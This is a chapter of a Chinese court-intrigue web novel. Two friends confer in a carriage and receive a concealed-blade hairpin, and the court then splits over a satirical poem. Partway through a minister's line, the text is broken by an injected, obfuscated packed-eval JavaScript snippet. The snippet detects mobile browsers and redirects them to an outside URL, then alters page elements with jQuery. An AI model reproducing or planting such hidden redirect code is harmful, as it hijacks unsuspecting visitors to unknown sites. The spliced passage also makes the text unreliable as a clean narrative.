“云雁阿兄,”悬黎打开了一盒雕花梅子,挨挨挤挤的雕花梅码得整整齐齐,像一盒水头好雕工精致的玉佩,她把这盒子往云雁的方向推了推,“你说官家会因何事暴跳如雷而起杀心呢?”
那语气像是在说,不如今日正午吃馎饦吧。
虽说他与悬黎私下就爱没大没小地妄议官家,但云雁就是感知到了这次悬黎的话音里带着一丝平静的疯感。
像是被姜青野缠得没脾气,准备在官家面前与他玉石俱焚了。
这一敏锐的触觉,从天灵盖起,一直电到他脚底板,扎得云雁浑身酥麻,他板起脸来将那螺钿盒子盖上,重新推回悬黎手边,语气无比严肃,“说吧,你是不是又做了什么?”
云雁无比沉痛,脑子里已经为悬黎计划了三条逃跑路线,以小姜将军如今对悬黎的迷恋,想来应当很愿意把悬黎带到北境去藏起来。
“不过是在某些事上彻底绝了官家的念想而已。”他想齐人之福,他想粉饰太平,也要看人心向背,若是事事都能随着自己心意来,那不要做陛下了,去做富贵闲人。
这表情云雁熟,他们两个在藏书楼被罚抄,萧悬黎说把抄经书换成拓印的话本子时便是这样的表情。
满脸正经地干着大逆不道的事。
偏偏官家的心思被她拿捏地很准,一次也没露过陷,幸而萧悬黎是女子,上不得朝,不然定是个能玩弄人心拉帮结派,搅得朝堂乌烟瘴气的奸佞小人。
“我不想听!”云雁双手捂了下耳朵,“只有我置身事外,我才能出其不意救你脱离泥沼,这不是咱们早就说好的吗?”
不论何事,他们两个都只许有一个人牵扯其中,这样才好在大娘娘也不方便插手的时候救一救对方,也救一救对方想护着的人。
可现在,云雁忧心忡忡,悬黎牵扯其中太深了,她现在的处境,如抱重物走悬丝,稍不留神便会万劫不复。
“还不如随着王妃婶婶一道去岭南,带西南驻军将领回渝州,再不济还能和姜青野一道去北境,别在这一趟浑水里搅着。”
云雁变戏法一样不知从何处摸出一方丝帕来。
丝帕打开,是一支长簪,簪头是朵玉兰,从上头暖融的光亮便能感受其莹润的质感,“知晓你不爱太繁复的,特意选了这一支。”
云雁按了按簪头,那长簪又长出一倍来,簪尾尖尖,在日光下泛着尖利的光,锋利得很。
他将那簪头一旋,含苞的玉兰成了全开的花,“此处可以放些药品,不拘什么品类,应当能防身。”
他将簪子收回原状,重新包好塞进悬黎手心,“这晚花水榭的事,实在让人警惕,朱帘还随着王妃南下了,你身边又少了一个得力的人,还是需要事事小心,谁知道哪个人哪时哪刻就揣了见不得人的坏心思呢。”
云雁好似意有所指。
“君子道合久以成,小人利合久以倾。”车窗外突然响起了一片童稚之声。“高位重名盖当世,退朝归舍宾已盈。”
听清了童谣内容,悬黎和云雁对视一眼,两人皆是面目凝重。
这话,可太诛心了。
悬黎掀开一脚车帘,骑马在前头引路的姜青野也勒紧缰绳停了下来,面色深沉地与悬黎对视,眉目里是仅有他们二人明白的心照不宣。
是《四贤一不肖》,文臣阵营里的纷争,要从这一组四联诗开始了。
姜青野眼神询问悬黎:是否插手?
悬黎轻轻摇头:静观其变。
做这诗的人是简在帝心的傅道隽,宦海沉浮几十载也没叫陛下厌弃,不要贸然插手才是。
现下悬黎更想知道,这组诗,已经传扬到了何种地步,有没有传到陛下耳中。
像是看出悬黎顾虑,姜青野勒马回撤,行至车边,“据我经验,陛下此时,必然已经知晓。”
这诗若是还没传到陛下耳中,那傅道隽不是白写了,据他所知,这人从不做无用功。
渊檀,议政殿上,气氛凝重得仿若能拧出水来。
龙椅之上,官家眉头紧锁,手中紧攥着那一组传遍京城的《四贤一不肖》诗,御案前,文武百官皆垂首而立,大气都不敢出。
“这诗,诸位都看过了吧?”还是官家打破沉默,声音虽不高,却带着不容置疑的威严,在空旷的大殿内回荡。
大相公吕宿向前一步,袍袖一甩,躬身道:“陛下,此诗蛊惑人心,实乃大逆不道。傅道隽一介书生,竟公然非议朝政,指责大臣,其心可诛。詹璟文等人结党营私,目无君上,被贬乃是罪有应得,傅道隽却为其鸣冤叫屈,扰乱朝纲,不可不惩。”
话音刚落,右司谏韩相公挺身而出,拱手道:“陛下,臣以为不然。詹卿等人忠心耿耿,一心为国,不过是直言进谏,便遭贬谪,天下人皆为其抱不平。傅公此诗,不过是道出了众人心中所想。朝堂之上,本就该广开言路,如今若因一首诗就惩处傅公,恐怕会寒了天下士子之心。”
吕宿脸色一沉,目光如刀般射向他:你莫要被詹璟文等人蒙蔽。他们表面忠君爱国,实则心怀叵测,妄图结党把持朝政。傅道隽与他们勾结,作诗煽动舆论,其罪当诛。”
韩相公毫不畏惧,直视大相公的眼睛,朗声道:“大人,空口无凭,怎能随意给人扣上结党营私这样严重的罪行。詹卿被贬,清明之士不过是仗义执言,便也被牵连,这岂不让人寒心。如今满朝文武,谁还敢直言进谏?陛下若想革新朝政,就需广纳贤言,重用忠良,而非听信谗言,打压异己。”
大相公身后的拥趸气得浑身发抖,正欲反驳,御史中丞程渠站了出来,谄媚地说道:“陛下,韩相公所言差矣。詹璟文等人行事乖张,不遵圣意,被贬是咎由自取。傅道隽作诗污蔑大臣,理应严惩,以正国法。”
这时,詹璟文的好友,馆阁校勘余燕岑忍不住出声:“程大人,你身为御史中丞,不思匡扶正义,却在这里颠倒黑白。詹卿等人一心为国,反被诬陷,你却视而不见,还有何颜面居此高位?”
程渠脸色涨得通红,恼羞成怒:“余燕岑,你少在这里胡
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16058328|172984||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
言乱语。你与詹璟文等人交好,想必也是他们一党,人要分得清好赖,莫要胡乱结党牵连自己。”
余燕岑仰天大笑:“哈哈哈哈哈哈,我余燕岑行得正坐得端,何惧无能污蔑。倒是某些人,为了一己私利,阿谀奉承,陷害忠良,才是真正的无耻之徒。”
朝堂之上,众人各执一词,争论不休,一时间乱作一团。官家看着吵吵闹闹面红耳赤各怀心思的大臣们,心中烦闷不已。
他深知詹璟文等人的才能,也明白朝堂需要不同的声音,可大相公树大根深,在朝中势力盘根错节,处理此事,他不得不谨慎。
底下还在争吵,已经从就事论事演变成了互掀老底,连对方在国子监读书时赊了一顿馄饨钱这样陈芝麻烂谷子的事都翻出来说嘴。
这不像是在议事,倒像是商贩在菜市口吵嘴。
冷眼沉思良久,他开口道:“此事暂且搁置,容朕再做思量。退朝!”说罢,起身拂袖而去。
大臣们见状,收敛了心神,纷纷跪地叩拜,看着官家离去的背影,各自心怀鬼胎,缓缓退出大殿。
官家离去的神色并不好看,程渠扶住了大相公,“老师,您瞧官家此举,可是要重拿轻放?”
他对詹璟文倒是没什么偏见,可一个朝廷不过就那么几个位置,被詹璟文占了旁人又将如何出头,若是能将这一众自诩清流的蠢货踩下去,他才能更好地在朝中立足。
“我瞧未必。”大相公捋了捋胡须,眼中有精光闪过。
詹璟文有大才不假,恃才傲物也是真,自以为腰杆挺得直便能在朝中屹立,还是太天真了。
陛下若真是要重拿轻放,此事根本不会有放到朝中公开商议的机会。
“陛下不肯正面处置,只怕还有旁的考量。”这个他亲眼看着成长起来的小皇帝,心思也一年比一年多了。
程渠搀着大相公朝殿外走,也忧心老师的近况,“陛下明明体恤老师年事已高,特许老师恩养,今日竟然一反常态地将老师也请来了,却也没有议出个章程来。”
寥寥数语之间,大相公脑中灵光一闪,他好像抓住了什么,“钟璩丁忧期满,想来陛下是要把重要的位置留给他。”
若说傅道隽敢仗义执言是深受陛下爱重的缘故,那钟璩便能够得上亚父的位置了。
“老师是说,今日这场朝堂争论,是陛下有意为之?”程渠也不是傻子,一点就透。
“慎言,入仕多年怎还是这般口无遮拦,你瞧你师兄在朝上便从不多言。”哪怕今日吵得热火朝天,他也不曾多出一言置喙。
这样谨慎的人,才能在朝中走得长久。
“清栩不如师兄多矣。”程渠虚心叹道。
“世间如太傅者寥寥。”往后殿走的陛下也向高德宝叹了一句。
高德宝像陛下肚子里的蛔虫,“听闻钟太傅都走到朱仙镇驿站了,是邀他到渊檀来,还是等回宫再召见?”
陛下睨了高德宝一眼,高德宝即刻躬身,“即刻传召太傅入殿觐见。”